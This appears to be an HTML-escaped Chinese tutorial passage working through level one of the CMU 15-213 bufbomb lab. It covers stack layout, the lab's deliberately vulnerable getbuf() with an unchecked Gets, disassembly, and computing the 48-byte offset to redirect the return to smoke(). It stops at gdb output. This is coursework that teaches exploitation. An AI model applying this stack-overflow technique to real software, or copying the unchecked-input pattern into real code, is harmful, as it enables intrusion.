&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;%rsp：stack pointer，用來指到目前stack的top，也是尾巴。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;gallery author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&lt;img src=&quot;https://d2mxuefqeaa7sj.cloudfront.net/s_7AE3C08C59B30B9F419598303603AC9D41E4351285E5672292793E9F53D38B10_1472546797879_file.png&quot; style=&quot;margin: 5px; max-height: 500px; max-width: 100%; vertical-align: middle;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;sourece: &lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&lt;b&gt;Carnegie Mellon 1 Assembly and Bomb Lab 15-213: Introduction to Computer&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;x86的stack 是從高位往低位長的， 方向是rbp 往→ rsp ，caller呼叫函數時會把參數push(壓入)stack，接著呼叫函數，並把return的位址存在rbp+8的位置，接著把該含要用到的register值跟區域變數推入stack.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;gallery author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&lt;img src=&quot;https://d2mxuefqeaa7sj.cloudfront.net/s_7AE3C08C59B30B9F419598303603AC9D41E4351285E5672292793E9F53D38B10_1472549249299_file.png&quot; style=&quot;margin: 5px; max-height: 500px; max-width: 100%; vertical-align: middle;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;如下的程式Alpha呼叫Beta時，把引數23先推入stack，再呼叫Beta並先把返回位址推入stack.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;gallery author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&lt;img src=&quot;https://d2mxuefqeaa7sj.cloudfront.net/s_7AE3C08C59B30B9F419598303603AC9D41E4351285E5672292793E9F53D38B10_1472549952549_file.png&quot; style=&quot;margin: 5px; max-height: 500px; max-width: 100%; vertical-align: middle;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;sourece:&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq url&quot;&gt;&lt;a class=&quot;dynamiclink&quot; href=&quot;https://www.doc.ic.ac.uk/~herbert/teaching/CA05-Intel-5.pdf&quot; rel=&quot;noreferrer nofollow noopener&quot; target=&quot;_blank&quot;&gt;https://www.doc.ic.ac.uk/~herbert/teaching/CA05-Intel-5.pdf&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h1 data-usually-unique-id=&quot;917745257634170&quot;&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;題目一:函數返回時利用buffer overflow去呼叫另一個不帶參數函數&lt;/span&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;bomb程式有個函數test()會呼叫 getbuf() ,getbuf() 裡用到Gets()去取得使用者輸入，但沒做邊界檢查，當輸入長度超過buf[36]時會溢位，要利用這個漏洞，讓getbug返回時，不是回到test()，而是另一個函數smoke(). &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;要做的事就是計算出buf到return address的間距，把smoke的位址填到return address蓋掉原本test的位址。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;程式片段如下:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;/* $begin boom-c */&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;void test()&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;{&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; unsigned long long val;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; volatile unsigned long long local = 0xdeadbeef;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; char* variable_length;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; entry_check(3); &amp;nbsp;/* Make sure entered this function properly */&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; val = getbuf();&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; if (val &amp;lt;= 40) {&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; variable_length = alloca(val);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; }&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; entry_check(3);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; /* Check for corrupted stack */&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; if (local != 0xdeadbeef) {&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;Sabotaged!: the stack has been corrupted\n&quot;);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; }&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; else if (val == cookie) {&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;Boom!: getbuf returned 0x%llx\n&quot;, val);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (local != 0xdeadbeef) {&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;Sabotaged!: the stack has been corrupted\n&quot;);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; validate(3);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; }&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; else {&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;Dud: getbuf returned 0x%llx\n&quot;, val);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; }&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;}&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;unsigned long long getbuf()&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;{&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; char buf[36];&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; volatile char* variable_length;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; int i;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; unsigned long long val = (unsigned long long)Gets(buf);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; variable_length = alloca((val % 40) &amp;lt; 36 ? 36 : val % 40);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; for(i = 0; i &amp;lt; 36; i++)&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; {&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; variable_length[i] = buf[i];&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; }&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; return val % 40;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;}&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;/* $begin smoke-c */&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;void smoke()&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;{&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; entry_check(0); &amp;nbsp;/* Make sure entered this function properly */&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; printf(&quot;Smoke!: You called smoke()\n&quot;);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; validate(0);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; exit(0);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-cpp&quot; spellcheck=&quot;false&quot;&gt;}&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;先用objdump -d bufbomb去反組譯查函數對定的位址，也可以用-t 去看就好。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;00000000004010c0 &lt;smoke&gt;:&lt;/smoke&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 4010c0: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 83 ec 08 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x8,%rsp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 4010c4: &amp;nbsp; &amp;nbsp; &amp;nbsp; bf 45 13 40 00 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;$0x401345,%edi&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 4010c9: &amp;nbsp; &amp;nbsp; &amp;nbsp; c7 05 dd 11 20 00 00 &amp;nbsp; &amp;nbsp;movl &amp;nbsp; $0x0,0x2011dd(%rip) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;# 6022b0 &lt;check_level&gt;&lt;/check_level&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;0000000000400ed0 &lt;test&gt;:&lt;/test&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400ed0: &amp;nbsp; &amp;nbsp; &amp;nbsp; 55 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;push &amp;nbsp; %rbp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400ed1: &amp;nbsp; &amp;nbsp; &amp;nbsp; b9 ef be ad de &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;$0xdeadbeef,%ecx&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400ed6: &amp;nbsp; &amp;nbsp; &amp;nbsp; 31 c0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xor &amp;nbsp; &amp;nbsp;%eax,%eax&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400ed8: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 89 e5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%rsp,%rbp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400edb: &amp;nbsp; &amp;nbsp; &amp;nbsp; 53 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;push &amp;nbsp; %rbx&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400edc: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 83 ec 18 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x18,%rsp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400ee0: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 89 4d e8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%rcx,-0x18(%rbp)&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400ee4: &amp;nbsp; &amp;nbsp; &amp;nbsp; c7 05 c2 13 20 00 03 &amp;nbsp; &amp;nbsp;movl &amp;nbsp; $0x3,0x2013c2(%rip) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;# 6022b0 &lt;check_level&gt;&lt;/check_level&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400eeb: &amp;nbsp; &amp;nbsp; &amp;nbsp; 00 00 00&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400eee: &amp;nbsp; &amp;nbsp; &amp;nbsp; e8 ad fe ff ff &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;callq &amp;nbsp;400da0 &lt;getbuf&gt;&lt;/getbuf&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400ef3: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 83 f8 28 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp;$0x28,%rax&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp;0000000000400da0 &lt;getbuf&gt;:&lt;/getbuf&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400da0: &amp;nbsp; &amp;nbsp; &amp;nbsp; 55 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;push &amp;nbsp; %rbp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400da1: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 89 e5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%rsp,%rbp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400da4: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 83 ec 30 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x30,%rsp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400da8: &amp;nbsp; &amp;nbsp; &amp;nbsp; 48 8d 7d d0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lea &amp;nbsp; &amp;nbsp;-0x30(%rbp),%rdi&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; 400dac: &amp;nbsp; &amp;nbsp; &amp;nbsp; e8 ff fe ff ff &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;callq &amp;nbsp;400cb0 &lt;gets&gt;&lt;/gets&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-erlang&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;(其實從lea &amp;nbsp; &amp;nbsp;-0x30(%rbp),%rdi 就可以看出buf到rbp的間距是48bytes了。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;但我想利用gdb 去進一步看詳情&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;gdb bufbomb&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;GNU gdb (GDB) Fedora (7.4.50.20120120-54.fc17)&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Copyright (C) 2012 Free Software Foundation, Inc.&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;This GDB was configured as &quot;x86_64-redhat-linux-gnu&quot;.&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;For bug reporting instructions, please see:&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq url&quot;&gt;&lt;a class=&quot;dynamiclink&quot; href=&quot;http://www.gnu.org/software/gdb/bugs/&quot; rel=&quot;noreferrer nofollow noopener&quot; target=&quot;_blank&quot;&gt;http://www.gnu.org/software/gdb/bugs/&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot; 